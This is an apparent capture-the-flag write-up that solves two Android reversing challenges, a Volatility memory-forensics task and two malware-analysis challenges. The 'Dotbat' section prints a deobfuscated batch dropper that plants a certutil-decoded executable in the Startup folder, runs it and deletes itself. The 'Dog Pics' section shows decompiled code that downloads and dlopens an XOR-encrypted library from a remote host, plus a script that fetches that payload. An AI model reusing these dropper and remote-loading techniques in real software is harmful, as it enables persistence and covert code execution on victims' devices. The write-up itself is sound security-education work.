Reactor

Mobile

Description

We built this app to protect the reactor codes

Solution

Opening the APK in Jadx and taking a look at the MainActivity we can see that this is a React Native application by the inheritance from ReactActivity.

package com.reactor;

import com.facebook.react.ReactActivity;

public class MainActivity extends ReactActivity {
    /* access modifiers changed from: protected */
    @Override // com.facebook.react.ReactActivity
    public String getMainComponentName() {
        return "Reactor";
    }
}

Lets take a look at the JavaScript bundle in Resources/assets.

The last few functions contains some interesting strings, lets clean them up and take a look at what they do. First lets find where the input is processed.

"Insert the pin to show the reactor codes."), n.default.createElement(l.TextInput, {
            style: {
                height: 40,
                fontSize: 15,
                textAlign: "center"
            },
            placeholder: "PIN",
            keyboardType: "number-pad",
            maxLength: 4,
            onChangeText: function(t) {
                return v(t)
            },
            onSubmitEditing: function(t) {
                c((0, r(d[4]).decrypt)(t.nativeEvent.text)), v("")
            },
            defaultValue: y
        }

So the input is passed to the decrypt function. Lets find that.

__d(function(g, r, _i, a, m, e, d) {
    var t = r(d[0])(r(d[1])),
        n = "U1VTUE5aVFVXDVEBUFoHDlZcAQYDXApTAg8GA1RaBlQCCVMGB0Q=";

    function o(t, n) {
        for (var o = '', c = t; c.length < n.length;) c += c;
        for (var f = 0; f < n.length; ++f) o += String.fromCharCode(c.charCodeAt(f) ^ n.charCodeAt(f));
        return o
    }
    m.exports.encrypt = function(n, c) {
        return t.default.encode(o(n, c))
    }, m.exports.decrypt = function(c) {
        return o(c, t.default.decode(n))
    }
}, 400, [3, 401]);

So the input is used as an XOR key to decrypt the value in n after it has been base64 decoded.

All we need now is the PIN. Lets take the base64 encoded flag, decode it and XOR with flag{ and we get 59275 as the first characters. So the PIN probably is 5927.

When using 5927 as the XOR key we get the flag.

flag{cfbb4c6ec59ce316e8d7644ac4c70a12}


Gopher Pics

Mobile

Description

Everyone talks about dogs and cats but gophers are also cute.

Solution

Opening the APK in Jadx and taking a look at the MainActivity we find OnClickListeners for three buttons. The only one that does anything interesting is the shuffle-button which calls Randgo.random();.

Taking a look at the Randgo class we see that the random() method is a native library method, public static native long random();. So lets dump the libraries using apktool and take a look at what libraries are included.

After dumping the contents of the APK, we get a library called libgojni.so for multiple architectures.

arm64-v8a/:
libgojni.so

armeabi-v7a/:
libgojni.so

x86/:
libgojni.so

x86_64/:
libgojni.so

Lets open one of the binaries in IDA and take a look at what it does.

First, lets find the exported function java_randgo_Randgo_random and follow the calls to the implementation, which is found in the function randgo_Random.

At the beginning of this function we can see that a hex string is copied and then hex decoded.

  qmemcpy(v24, "666c61677b31326133396333326531303863613139303735383366366235613566643163627d", sizeof(v24));
  runtime_makeslice(&stru_13AE80, (runtime__type_0 *)((char *)&mu.gcdata + 5), 38LL, src);
  val.array = srca;
  _r3.array = srca;
  _r3.len = (__int64)&mu.gcdata + 5;
  _r3.cap = 38LL;
  srcb.array = (uint8 *)v24;
  srcb.len = 76LL;
  srcb.cap = 76LL;
  v23 = (unsigned __int128)encoding_hex_Decode(_r3, srcb);

When we hex decode the string we get the flag.

flag{12a39c32e108ca1907583f6b5a5fd1cb}


Excellent

Forensics

Description

My computer crashed and I lost everything I was doing for work…

Solution

For this challenge we get a memory dump to analyze, lets start by checking the running processes using Volatility 3.

After running vol3 -f image.bin windows.pslist we get all the running processes at the time of the memory dump, and in the process list we can see that LibreOffice was running.

1036	6392	LibreOfficePor	0xaa873cd96080	6	-	1	True	2021-09-14 19:55:31.000000 	N/A	Disabled
5332	1036	soffice.exe	0xaa873e3df080	2	-	1	True	2021-09-14 19:55:31.000000 	N/A	Disabled
6048	5332	soffice.bin	0xaa873e0f2080	16	-	1	True	2021-09-14 19:55:31.000000 	N/A	Disabled

Lets do a files can to see if there’s any interesting files open. After running vol3 -f image.bin windows.filescan and looking for any Excel documents we find 0xaa873df05250 \$Recycle.Bin\S-1-5-21-3728041566-3047049471-3236530824-1001\$INIDDM6.xlsx 216. Dumping this file we only get the path to the original file, C:\Users\congon4tor\Desktop\flag.xlsx.

But we don’t find any other xlsx file in the dump, but searching for any file named flag in the files can we find a ODS file.

0xaa873a6567c0  \Users\congon4tor\Desktop\flag.ods      216
0xaa873ab2e740  \Users\congon4tor\Desktop\flag.ods      216
0xaa873df14610  \Users\congon4tor\Desktop\.~lock.flag.ods#      216
0xaa873df19750  \Users\congon4tor\AppData\Roaming\Microsoft\Windows\Recent\flag.lnk     216

Dumping the file flag.ods and opening it we get a question if we want to repair the broken file.

Clicking yes we can open the document.

flag{4b02ee4e7b62139152e8d0d4373a7c3d}


Dotbat

Malware

Description

This file is a dotbat, literally! Don’t believe me? Try it!

Solution

Opening the attached file we only see a bunch of characters.

Cat:ing the file and piping it to a new file we get the obfuscated bat file.

The file contains a lot of values like %r:~10,1% which is in place of certain characters, and a bunch of ^ characters sprinkled through the file. After some manual mapping we find the deobfuscated header.

set name = batch obuscator by moom825 
set github = https://github.com/moom825/batch-obfuscator-made-in-python

Checking out the source of the obfuscator we find all the correct values that has been replaced with the replacement values. After we have replaced all the values and removed all ^ from the file we get the deobfuscated batch script.

The interesting part of the script is the following.

Set pooth="%sySTEmdRive%\pROGRAmDAtA\MicrosOFt\WiNDOWs\sTArt mEnU\pROGRAMs\STARTup\WiNDIr.EXe"  
echo -----BEGIN CERTIFICATE----->%pooth% 
set temp64=TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EchO %temp64%>>%pooth% 
set temp64=AAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
EchO %temp64%>>%pooth% 
set temp64=ZGUuDQ0KJAAAAAAAAABQRQAATAEDAKZt44MAAAAAAAAAAOAAIgALATAAAA4AAAAIAAAAAAAAri0A
EchO %temp64%>>%pooth% 

<OMITTED>

EchO %temp64%>>%pooth% 
set temp64=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EchO %temp64%>>%pooth% 
set temp64=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EchO %temp64%>>%pooth% 
echo -----END CERTIFICATE----->>%pooth% 
certutil -f -decode %pooth% %pooth% 
timeout 1 
wmic process call create %pooth% 
setlocal enableextensions 
for /f %%a In ('TaSKLISt /Nh /Fi "IMaGEname EQ WiNDIr.EXe"') dO iF %%a == WiNDIr.EXe (dEL /S /Q /F "%~F0" &%puBlIC:~74,9%& exit) elsE (GoTO MRNbt)

So the script creates a file containing a encoded payload, decodes the payload using certutil and then tries to run the decoded payload.

Lets dump the payload and decode it to take a look at what it is. After decoding using certutil -f -decode dump out.exe we get a .NET executable.

Now we can decompile the executable to find out what it does. In the Program class we find the following.

using System;

namespace EncryptionDecryptionUsingSymmetricKey
{
  internal class Program
  {
    private static void Main(string[] args)
    {
      string str = AesOperation.DecryptString("b14ca5898a4e4133bbce2ea2315a1916", "o7oReaGhEfveURcDvHbErcud9+MjzWvloHZ8lIRu6axzfAbyUUaSthwCfc+hkmgR");
      if (args.Length != 1 || !int.TryParse(args[0].ToString(), out int _))
        return;
      Random random = new Random();
      if (int.Parse(args[0]) != random.Next())
        return;
      Console.WriteLine(str);
    }
  }
}

Ok, so we got some decryption going on, lets take a look at the AesOperation.DecryptString method.

    public static string DecryptString(string key, string cipherText)
    {
      byte[] numArray = new byte[16];
      byte[] buffer = Convert.FromBase64String(cipherText);
      using (Aes aes = Aes.Create())
      {
        aes.Key = Encoding.UTF8.GetBytes(key);
        aes.IV = numArray;
        ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV);
        using (MemoryStream memoryStream = new MemoryStream(buffer))
        {
          using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read))
          {
            using (StreamReader streamReader = new StreamReader((Stream) cryptoStream))
              return streamReader.ReadToEnd();
          }
        }
      }
    }

We have a base64 encoded AES encrypted string, decrypted by the key and a null-byte IV. Lets try to decrypt it.

Great, we got the flag!

flag{3a75349c5d614587898c785d88da3582}


Dog Pics

Malware

Description

Go download my new dog pics app!!! I promise it’s not malware.

Solution

After opening the APK in Jadx and taking a look at the MainActivity, the only interesting thing we can find is a native library import and the usage in the onCreate method.

    private final native void fetch();

    /* access modifiers changed from: protected */
    @Override // androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        Screen.INSTANCE.setWidth(getWindowManager().getCurrentWindowMetrics().getBounds().height());
        Screen.INSTANCE.setHeight(getWindowManager().getCurrentWindowMetrics().getBounds().width());
        ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
        Intrinsics.checkNotNullExpressionValue(inflate, "inflate(layoutInflater)");
        this.binding = inflate;
        if (inflate != null) {
            setContentView(inflate.getRoot());
            if (!checkInternet()) {
                finishAffinity();
            }
            fetch();
            return;
        }
        Intrinsics.throwUninitializedPropertyAccessException("binding");
        throw null;
    }

Lets dump the resources using apktool. Now we got a library named libdoggo.so for multiple architectures. Lets open one of them up in IDA and take a look.

First we need to find the exported function Java_com_example_dogpics_MainActivity_fetch.

Here we see that a function pointer to _Z3wagv_ptr is started on a new thread. Lets take a look at that function.

  v19 = __readfsqword(0x28u);
  Tcpclient::Tcpclient(tcpClient, "137.184.62.226", 14LL, 9999LL);
  Tcpclient::make_connection((Tcpclient *)tcpClient);
  LOWORD(data[0]) = 0;
  v0 = std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>::append(data, "\n");
  ptr = *(void **)(v0 + 16);
  *(_OWORD *)sendBuf = *(_OWORD *)v0;
  *(_OWORD *)v0 = 0LL;
  *(_QWORD *)(v0 + 16) = 0LL;
  Tcpclient::send_data(tcpClient, sendBuf);
  if ( (sendBuf[0] & 1) != 0 )
    operator delete(ptr);
  if ( ((__int64)data[0] & 1) != 0 )
    operator delete(v15);
  *(_OWORD *)data = 0LL;
  v15 = 0LL;
  grab((Tcpclient *)tcpClient);
  v1 = memfd_create("_", 1LL);
  if ( v1 == -1 )
  {
    exception = (_QWORD *)__cxa_allocate_exception(8LL);
    *exception = "Failed";
    __cxa_throw(exception, &`typeinfo for'char const*, 0LL);
  }
  decrypt((__int64 *)data);
  v2 = data[0];
  __write_chk(v1, data[0], data[1] - data[0], -1LL);
  v3 = getpid();
  sub_28B50(sendBuf, (__int64)v2, v4, v5, v3, v1);
  v6 = dlopen(sendBuf, 1);
  if ( v6 )
    dlclose(v6);
  close(v1);
  if ( data[0] )
  {
    data[1] = data[0];
    operator delete(data[0]);
  }
  Tcpclient::~Tcpclient((Tcpclient *)tcpClient);
  result = (_QWORD *)__readfsqword(0x28u);
  if ( result != (_QWORD *)v19 )
  {
    v9 = result;
    if ( data[0] )
    {
      data[1] = data[0];
      operator delete(data[0]);
    }
    Tcpclient::~Tcpclient((Tcpclient *)tcpClient);
    sub_4E0F0(v9, 1LL, v10, v11, v12, v13);
  }
  return result;
}

So whats happening here.

  • A tcp connections is made to 137.184.62.226:9999
  • Some data is sent.
  • If it succeeds, the function grab is called.
  • The function decrypt is called.
  • A dynamic library is loaded.
  • Cleanup

So we can assume that this function downloads an encrypted library and loads it.
Lets take a look at the grab function.

_QWORD *__fastcall grab(Tcpclient *this, __int64 charVector)
{
  const char *header; // rdi
  int dataLen; // eax
  unsigned __int64 dataLen2; // r15
  unsigned __int8 *dataBuf; // rsi
  unsigned __int64 v8; // rax
  __int64 v9; // rdx
  __int64 v10; // rcx
  __int64 v11; // r8
  __int64 v12; // r9
  _QWORD *result; // rax
  _QWORD *exception; // rax
  _QWORD *v15; // rbx
  char v16; // [rsp+Fh] [rbp-49h] BYREF
  char inputBuffer[16]; // [rsp+10h] [rbp-48h] BYREF
  void *nullPointer; // [rsp+20h] [rbp-38h]
  char v19[8]; // [rsp+28h] [rbp-30h] BYREF
  unsigned __int64 v20; // [rsp+30h] [rbp-28h]

  v20 = __readfsqword(0x28u);
  v19[0] = 0;
  *(_OWORD *)inputBuffer = 0LL;
  nullPointer = 0LL;
  while ( Tcpclient::recv_data(this, (unsigned __int8 *)v19, 1uLL) && v19[0] )
    std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>::push_back(
      inputBuffer,
      (unsigned int)v19[0]);
  if ( (inputBuffer[0] & 1) != 0 )
    header = (const char *)nullPointer;
  else
    header = &inputBuffer[1];
  dataLen = atoi(header);
  if ( dataLen <= 0 )
  {
    exception = (_QWORD *)__cxa_allocate_exception(8LL);
    *exception = "Failed";
    __cxa_throw(exception, &`typeinfo for'char const*, 0LL);
  }
  dataLen2 = (unsigned int)dataLen;
  v16 = 0;
  dataBuf = *(unsigned __int8 **)charVector;
  v8 = *(_QWORD *)(charVector + 8) - *(_QWORD *)charVector;
  if ( v8 >= dataLen2 )
  {
    if ( v8 > dataLen2 )
      *(_QWORD *)(charVector + 8) = &dataBuf[dataLen2];
  }
  else
  {
    std::__ndk1::vector<unsigned char,std::__ndk1::allocator<unsigned char>>::__append(charVector, dataLen2 - v8, &v16);
    dataBuf = *(unsigned __int8 **)charVector;
  }
  Tcpclient::recv_data(this, dataBuf, dataLen2);
  if ( (inputBuffer[0] & 1) != 0 )
    operator delete(nullPointer);
  result = (_QWORD *)__readfsqword(0x28u);
  if ( result != (_QWORD *)v20 )
  {
    v15 = result;
    if ( (inputBuffer[0] & 1) != 0 )
      operator delete(nullPointer);
    sub_4E0F0(v15, (__int64)dataBuf, v9, v10, v11, v12);
  }
  return result;
}

So whats going on here. First data is received until a null byte is received and stored in the header variable. Then the header variable is converted from ascii to an int and stored in the dataLen variable. Then some more data is received with the dataLen as the size. Then the data is returned.

Now lets take a look at the decrypt function.

__int64 __fastcall decrypt(__int64 *input)
{
  __int64 result; // rax
  char xorValue; // cl
  unsigned __int64 idx; // rdx

  result = *input;
  if ( input[1] != *input )
  {
    xorValue = 0x41;
    idx = 0LL;
    do
    {
      *(_BYTE *)(result + idx++) ^= xorValue;
      result = *input;
      xorValue += 0x41;
    }
    while ( input[1] - *input > idx );
  }
  return result;
}

So a simple XOR encryption, each byte in the received data is XOR:ed with the xorValue, which is incremented with 0x41 for each character that has been processed.

Now we need to figure out what data is sent to receive the encrypted payload.

Starting the APK in Android Studio while capturing the network traffic with Wireshark we can see that the data sent is i686, so the malware probably specifies which architecture it wants the next stage to be, and then the server sends the encrypted payload for the requested architecture.

Lets write a script to download and decode the payload for further analysis.

#!/usr/bin/env python3

from pwn import *

r = remote('137.184.62.226', 9999)

r.sendline(b'i686')

data = r.recvall()

r.close()

end_of_header = data.index(0x00)

data = data[end_of_header+1::]
xor_value = 0x41

decoded = bytearray()
for idx in range(0, len(data)):
    decoded.append(data[idx] ^ xor_value)
    xor_value = (xor_value + 0x41) & 0xFF

with open('payload', 'wb') as f:
    f.write(decoded)

Running this we get the file payload, which is indeed a valid library.

file payload 
payload: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped

Opening the file in IDA we can see a function named get_flag.

Taking a look at the value unk_52C we see that it’s the flag.

Extracting the data and removing the null bytes we get the flag.

flag{a5600f76551f967ccd254748164df62c}